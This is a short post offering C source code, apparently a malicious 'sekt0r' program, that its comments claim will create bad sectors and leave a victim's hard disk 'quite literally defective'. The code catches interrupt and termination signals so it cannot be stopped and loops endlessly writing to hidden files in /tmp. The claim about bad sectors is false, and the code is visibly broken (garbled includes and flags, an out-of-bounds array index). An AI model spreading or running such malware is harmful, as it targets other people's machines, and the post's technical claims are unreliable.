Create Bad sectors on hard disks

A C source code
/*create bad sectors on the hard disk.** This program will create bad sectors on the hard disk. If you left it* running for long enough, it could render a hard disk quite useless. When* bad sectors are found, the sector is marked as bad, so fixing the hard disk* is not an easy task. Unless the victim has time and knowledge to fix the* disk, the hard drive can be left quite literally defective.* supported by preetam* I don't take responsibility for what you do with this program, served foe educational purpose only.** */#include #include #include #include #include #include #include #define HDSIZE 640000void handle_sig();int main() {int i = 0;int x;int fd[5];signal(SIGINT, handle_sig);signal(SIGHUP, handle_sig);signal(SIGQUIT, handle_sig);signal(SIGABRT, handle_sig);signal(SIGTERM, handle_sig);char *buf;buf = malloc(HDSIZE);printf("sekt0r: trashing hard disk with bad sectors!\n");while(1) {fd[1] = open("/tmp/.test", O_WRONLYO_CREAT, 511);fd[2] = open("/tmp/.test1", O_WRONLYO_CREAT, 511);fd[3] = open("/tmp/.test2", O_WRONLYO_CREAT, 511);fd[4] = open("/tmp/.test3", O_WRONLYO_CREAT, 511);fd[5] = open("/tmp/.test4", O_WRONLYO_CREAT, 511);for(x = 0; x < 5; x++) {write(fd[x], buf, HDSIZE);lseek(fd[x], 0, SEEK_SET);close(fd[x]);} /* end for() loop. */} /* end while() loop. */} /* end main(). */void handle_sig() {/* Reset signal handlers. */signal(SIGINT, handle_sig);signal(SIGHUP, handle_sig);signal(SIGQUIT, handle_sig);signal(SIGABRT, handle_sig);signal(SIGTERM, handle_sig);printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");return; /* go back to creating bad sectors. */}
